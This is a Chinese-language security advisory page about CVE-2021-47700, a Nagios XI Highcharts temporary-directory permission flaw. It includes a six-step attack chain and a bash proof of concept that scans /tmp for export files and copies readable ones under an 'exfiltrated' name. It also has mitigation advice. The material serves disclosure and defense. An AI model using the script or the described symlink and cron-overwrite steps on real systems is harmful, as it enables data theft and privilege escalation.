IPBUF安全漏洞报告
English
CVE-2021-47700 CVSS 7.8 高危

CVE-2021-47700: Nagios XI Highcharts临时目录不安全权限漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2021-47700
漏洞类型
不安全的文件权限
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

不安全的文件权限Nagios XIHighcharts本地权限提升路径遍历信息泄露临时文件CVE-2021-47700

漏洞概述

CVE-2021-47700是Nagios XI软件中的一个高危安全漏洞,存在于版本5.8.7之前的Highcharts导出功能中。该漏洞的根本原因在于Nagios XI使用了具有过度宽松权限的临时目录来存储Highcharts图表导出文件。这些临时目录由Apache用户拥有并具有不安全的权限设置,允许本地用户或共同托管在同一服务器上的其他进程访问、读取甚至覆盖这些导出文件。由于文件路径可被操纵,攻击者可能利用此漏洞进行敏感信息泄露、文件篡改,甚至在特定部署环境下实现远程代码执行。此漏洞的CVSS评分为7.8,属于高危级别,需要低权限即可实施攻击,但攻击向量为本地访问,意味着攻击者需要拥有目标系统的本地访问权限。Nagios XI作为一款广泛使用的企业级网络监控软件,此漏洞的存在对使用该产品的企业网络安全构成严重威胁,管理员应尽快采取修复措施。

技术细节

该漏洞源于Nagios XI在处理Highcharts图表导出功能时,对临时目录的权限管理存在严重缺陷。在Linux/Unix系统中,Web应用通常以特定用户(如apache、www-data)身份运行,临时文件存储在如/tmp或/var/tmp等共享目录。Nagios XI的Highcharts导出模块将生成的图表文件存储在由Apache用户拥有的临时目录中,但该目录的权限设置过于宽松,允许同一系统上的其他用户读取、写入甚至删除这些文件。攻击者可以通过以下方式利用此漏洞:首先,通过监控或猜测临时文件的命名规律,定位到目标导出文件;其次,利用符号链接或路径遍历技术,将导出文件重定向到敏感位置;最后,通过覆盖关键配置文件或植入恶意代码实现权限提升或远程代码执行。由于Nagios XI通常以root或高权限运行以执行系统监控任务,此漏洞可能成为攻击者获取更高权限的跳板。攻击的利用难度中等,需要攻击者具备基本的系统知识和本地访问能力,但一旦成功利用可能造成严重后果。

攻击链分析

STEP 1
步骤1
信息收集:攻击者获取目标系统的本地访问权限,识别Nagios XI安装路径和Highcharts导出功能使用的临时目录位置
STEP 2
步骤2
目录识别:扫描/tmp、/var/tmp等常见临时目录,查找由Apache用户创建的Highcharts导出文件(如highcharts_export_*.png)
STEP 3
步骤3
权限验证:检查临时目录的文件权限,确认是否存在过度宽松的读/写权限设置
STEP 4
步骤4
文件读取:利用宽松权限读取其他用户导出的敏感图表文件,可能包含服务器信息、网络拓扑或凭据数据
STEP 5
步骤5
文件覆盖/注入:利用路径遍历或符号链接技术,将恶意文件写入敏感位置,或覆盖Nagios XI配置文件
STEP 6
步骤6
权限提升/代码执行:在特定部署环境下,通过覆盖cron任务、启动脚本或配置文件实现远程代码执行或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2021-47700 PoC - Nagios XI Highcharts Temporary Directory Exploitation # This script demonstrates the permission vulnerability in Nagios XI's Highcharts export feature TARGET_HOST="${TARGET_HOST:-localhost}" NAGIOS_XI_PATH="/nagiosxi" TEMP_DIR="/tmp/nagiosxi" # Step 1: Find the Highcharts export temporary directory echo "[*] Scanning for Nagios XI Highcharts temporary files..." find /tmp -name "highcharts_export_*" -type f 2>/dev/null | head -20 # Step 2: Check permissions on identified directories echo "[*] Checking directory permissions..." if [ -d "$TEMP_DIR" ]; then ls -la "$TEMP_DIR" 2>/dev/null || echo "[-] Directory not found" else # Common paths for Nagios XI temp files for dir in /tmp/nagiosxi* /var/tmp/nagiosxi* /tmp/highcharts*; do if [ -d "$dir" ]; then echo "[+] Found directory: $dir" ls -la "$dir" # Check if world-readable/writable perms=$(stat -c "%a" "$dir" 2>/dev/null) if [[ "$perms" == *"7"* ]]; then echo "[!] VULNERABLE: Directory has overly permissive permissions ($perms)" fi fi done fi # Step 3: Attempt to read/export files (if authorized) echo "[*] Testing file access capabilities..." for file in $(find /tmp -name "*.png" -o -name "*.svg" 2>/dev/null | grep -i nagios); do echo "[+] Found export file: $file" stat "$file" # Check if we can read the file if [ -r "$file" ]; then echo "[!] VULNERABLE: Can read $file" # Copy file for analysis cp "$file" "/tmp/exfiltrated_$(basename $file)" fi done echo "[*] PoC execution completed." echo "[!] Note: This is for authorized security testing only."

影响范围

Nagios XI < 5.8.7

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:首先,将/tmp和/var/tmp目录设置为粘滞位(sticky bit),防止用户删除他人文件;其次,限制Apache用户对临时目录的写权限,仅允许特定应用写入;最后,配置系统审计规则监控异常的文件访问和修改行为,并考虑使用文件系统完整性监控工具检测未授权的配置文件修改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表